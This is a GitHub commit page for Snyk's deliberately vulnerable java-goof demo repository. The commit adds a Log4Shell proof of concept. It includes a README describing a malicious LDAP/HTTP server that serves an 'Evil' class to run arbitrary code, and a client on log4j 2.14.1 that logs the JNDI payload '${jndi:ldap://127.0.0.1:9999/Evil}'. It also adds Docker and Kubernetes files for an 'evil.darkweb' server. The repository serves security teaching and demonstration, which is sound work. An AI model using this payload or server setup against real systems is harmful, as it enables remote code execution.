Skip to content

Commit

Permalink
Merge pull request #367 from snyk-labs/module_refactor
Browse files Browse the repository at this point in the history
Made java-goof top level module. Moved all the todolist stuff into a todolist-goof module.
  • Loading branch information
dogeared authored Dec 20, 2021
2 parents eff37ca + a95d95d commit c9735dd
Show file tree
Hide file tree
Showing 147 changed files with 5,225 additions and 136 deletions.
2 changes: 1 addition & 1 deletion .gitignore
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
*.iml
.idea
*/target/**
**/target/**
**/.DS_Store
46 changes: 4 additions & 42 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,46 +1,8 @@
## Java Goof

A vulnerable demo application, initially based on [Ben Hassine](https://github.com/benas/)'s [TodoMVC](https://github.com/benas/todolist-mvc).
This is a collection of Java demo apps that are vulnerable in different ways.

The goal of this application is to demonstrate through example how to find, exploit and fix vulnerable Maven packages.
It's divided into modules, each one having its own README:

This repo is still incomplete, a work in progress to support related presentations.


## Build and run Todolist MVC

(from the original README)

### Local build and run

*Note that to run locally, you need JDK 8.*

1. Check out the project source code from github : `git clone https://github.com/snyk/java-goof.git`
2. Open a terminal and run the following command from root directory : `mvn install`
3. Choose a web framework to test and run it. For example : `cd todolist-web-struts && mvn tomcat7:run` (note: this example currently only copied the Struts demo)
4. Browse the following URL : `localhost:8080/`
5. You can register a new account or login using the following credentials : [email protected] / foobar

### Build and run with docker-compose

*Note, we run build on and a Tomcat 8.5 image here to support tomcat-rce base image demo.*
```bash
docker-compose up --build
docker-compose down
```

## Deploy Application on Heroku

- [Heroku instructions](DEPLOY_HEROKU.md)

## Open source vulnerability exploit

TODO

## Container base image vulnerability exploit

- [Container base image exploit instructions](exploits/tomcat-rce/README.md)

## License
This repo is available released under the [MIT License](http://opensource.org/licenses/mit-license.php/).
# java-goof
* [Todolist Goof](todolist-goof/README.md)
* [Log4Shell Goof](log4shell-goof/README.md)
98 changes: 98 additions & 0 deletions log4shell-goof/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,98 @@
## Log4Shell Goof

The purpose of this project is to demonstrate the Log4Shell exploit with Log4J versions older than `2.15.0`.

This repo is based on the excellent proof-of-concept published by [BrianV](https://github.com/bmvermeer/log4jexploit/).
The PoC is a great starting point. This project expands on it by fleshing it out into a fully standalone demo.

For more information about the exploit and the mechanics of how it works,
[here is a good blog post](https://snyk.io/blog/log4j-rce-log4shell-vulnerability-cve-2021-4428/).

### Requirements

You'll need one of the following Java SDKs:
* 11.0.1 or earlier
* 8u191 or earlier
* 7u201 or earlier
* 6u211 or earlier

Java SDKs newer than those versions don't have the same vulnerability.

### Building the PoC

In the root folder, run:

```
mvn clean install
```

**NOTE:** This project includes the Maven wrapper, so you don't need to have previously installed Maven.

### Running the PoC

This repo has two modules: server and client.

The server module runs a lean LDAP & HTTP server.

The LDAP server listens on port `9999` by default and will return an `LDAPResult` that includes a URL reference to a
Java class that will be deserialized and executed.

The HTTP server listens on port `8000` and responds to any request with a byte array that is the `Evil.class`.

`Evil` implements `ObjecFactory` which the JNDI mechanism hooks into to execute its `getObjectInstance` method. While
the method simply returns `null`, it uses `Runtime` to execute arbitrary code on the host machine. In this case, it
writes to a file called: `/tmp/pwned` to prove that it _could_ execute basically anything available on the machine.

This PoC should run as-is on Linux or Mac.

Open a terminal window and run the following:

```
cd log4shell-server
mvn exec:java -Dexec.mainClass="Server"
```

You should see output that looks like the following:

```
[INFO] --- exec-maven-plugin:3.0.0:java (default-cli) @ log4shell-server ---
LDAP server listening on 0.0.0.0:9999
HTTP server listening on 0.0.0.0:8000
```

In another terminal window, run the following:

```
cd log4shell-client
JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.8.0_111.jdk/Contents/Home \
mvn exec:java -Dexec.mainClass="Main"
```

**NOTE:** Referencing `JAVA_HOME` is important as the exploit only fully works with older JDK versions.
For example, you can download JDK 8u111
[here](https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html). If you download
and install the version for Mac, the above command will work for you.

You should see output that looks like the following:

```
[INFO] --- exec-maven-plugin:3.0.0:java (default-cli) @ log4shell-client ---
---------- JVM Props -------------
java.vm.version=25.111-b14
java.vm.vendor=Oracle Corporation
java.vm.name=Java HotSpot(TM) 64-Bit Server VM
java.vm.specification.name=Java Virtual Machine Specification
java.vm.specification.vendor=Oracle Corporation
java.vm.specification.version=1.8
java.vm.info=mixed mode
---------------------------------
20:27:49.676 [Main.main()] ERROR Main - test
/tmp/pwned DOES NOT EXIST
20:27:49.679 [Main.main()] ERROR Main - Output:${jndi:ldap://127.0.0.1:9999/Evil}
/tmp/pwned EXISTS - yah been pwned!
```

**NOTE**: The client app will tell you if it was successful. It does some checks, including looking for the
`/tmp/pwned` file before and after the attack. You MUST delete the `/tmp/pwned` file between runs in order for the
client app to work properly. The file not being there and then being present after the attack is how it knows it's
been successful.
34 changes: 34 additions & 0 deletions log4shell-goof/log4shell-client/pom.xml
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<artifactId>log4shell-poc</artifactId>
<groupId>io.snyk</groupId>
<version>0.0.1-SNAPSHOT</version>
</parent>

<artifactId>log4shell-client</artifactId>
<version>0.0.1-SNAPSHOT</version>

<name>Java Goof :: Log4Shell Goof :: Log4Shell Client</name>
<url>https://snyk.io</url>

<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>

<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
</project>
43 changes: 43 additions & 0 deletions log4shell-goof/log4shell-client/src/main/java/Main.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.io.File;

public class Main {

private static final String PWN_FILE = "/tmp/pwned";
private static final Logger logger = LogManager.getLogger(Main.class);

public static void main(String[] args) throws InterruptedException {
showJavaStats();
logger.error("test");
checkTmp(false);
logger.error("Output:" + "${jndi:ldap://127.0.0.1:9999/Evil}");
// give a beat for the file to be written
Thread.sleep(1000);
checkTmp(true);
}

public static void showJavaStats() {
System.out.println("---------- JVM Props -------------");
System.getProperties().entrySet().stream()
.filter(entry -> ((String)entry.getKey()).startsWith("java.vm."))
.forEach(System.out::println);
System.out.println("---------------------------------");
}

public static void checkTmp(boolean shouldExist) {
File f = new File(PWN_FILE);
if (shouldExist != f.exists()) {
String exStr = String.format(
"\n\tUnexpected state." +
"\n\tMake sure to remove %s between runs." +
"\n\tMake sure Server is running." +
"\n\tMake sure you JVM is <= 11.0.1 or 8u191 or 7u201 or 6u211",
PWN_FILE
);
throw new RuntimeException(exStr);
}
System.out.println(String.format("%s %s", PWN_FILE, f.exists()?"EXISTS - yah been pwned!":"DOES NOT EXIST"));
}
}
11 changes: 11 additions & 0 deletions log4shell-goof/log4shell-server/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
FROM maven:3-jdk-8-slim as build
COPY . .
RUN --mount=target=$HOME/.m2,type=cache mvn clean compile assembly:single

FROM openjdk:8 as ldap
COPY --from=build target/*.jar /server.jar
EXPOSE 8000
EXPOSE 9999

CMD ["java", "-jar", "/server.jar", "http://evil.darkweb:9999/#Vandalize", "8000", "9999", "Vandalize.class"]

53 changes: 53 additions & 0 deletions log4shell-goof/log4shell-server/k8s/deploy.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,53 @@
---
apiVersion: v1
kind: Namespace
metadata:
name: darkweb
---
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app: log4shell
name: log4shell
namespace: darkweb
spec:
replicas: 1
selector:
matchLabels:
app: log4shell
template:
metadata:
labels:
app: log4shell
spec:
containers:
- name: ldap
image: ${DOCKER_ACCOUNT}/log4shell-server:latest
---
apiVersion: v1
kind: Service
metadata:
name: ldap
namespace: darkweb
spec:
selector:
app: log4shell
ports:
- protocol: TCP
port: 80
targetPort: 8000
---
apiVersion: v1
kind: Service
metadata:
name: evil
namespace: darkweb
spec:
selector:
app: log4shell
ports:
- protocol: TCP
port: 9999
targetPort: 9999

9 changes: 9 additions & 0 deletions log4shell-goof/log4shell-server/k8s/imagebuild.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
#!/usr/bin/env bash
read -e -i "${DOCKER_ACCOUNT}" -p "Please enter your DockerHub user/account name: " input
name="${input:-$DOCKER_ACCOUNT}"

echo "📦 Building image ${DOCKER_ACCOUNT}/log4shell-server:latest ..."
docker build -t ${DOCKER_ACCOUNT}/log4shell-server:latest .
echo
echo "🚚 Pushing image to DockerHub..."
docker push ${DOCKER_ACCOUNT}/log4shell-server:latest
4 changes: 4 additions & 0 deletions log4shell-goof/log4shell-server/k8s/shutdown.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
#!/usr/bin/env bash
MYDIR=$(dirname $0)
echo "Removing app from kubernetes..."
kubectl delete -f $MYDIR/deploy.yaml
14 changes: 14 additions & 0 deletions log4shell-goof/log4shell-server/k8s/startup.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
#!/usr/bin/env bash
MYDIR=$(dirname $0)
read -e -i "${DOCKER_ACCOUNT}" -p "Please enter your DockerHub user/account name: " input
name="${input:-$DOCKER_ACCOUNT}"

cat $MYDIR/deploy.yaml | envsubst | kubectl apply -f -

echo "⌚️ Waiting for pod deployment..."
kubectl wait --namespace=darkweb \
--for=condition=ready pod \
--selector=app=log4shell \
--timeout=90s


52 changes: 52 additions & 0 deletions log4shell-goof/log4shell-server/pom.xml
Original file line number Diff line number Diff line change
@@ -0,0 +1,52 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>io.snyk</groupId>
<artifactId>log4shell-server</artifactId>
<version>0.0.1-SNAPSHOT</version>

<name>Java Goof :: Log4Shell Goof :: Log4Shell Server</name>
<url>https://snyk.io</url>

<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>

<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.15.0</version>
</dependency>
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
</dependency>
<dependency>
<groupId>io.undertow</groupId>
<artifactId>undertow-core</artifactId>
<version>2.2.13.Final</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<archive>
<manifest>
<mainClass>Server</mainClass>
</manifest>
</archive>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
</configuration>
</plugin>
</plugins>
</build>
</project>
Loading

0 comments on commit c9735dd

Please sign in to comment.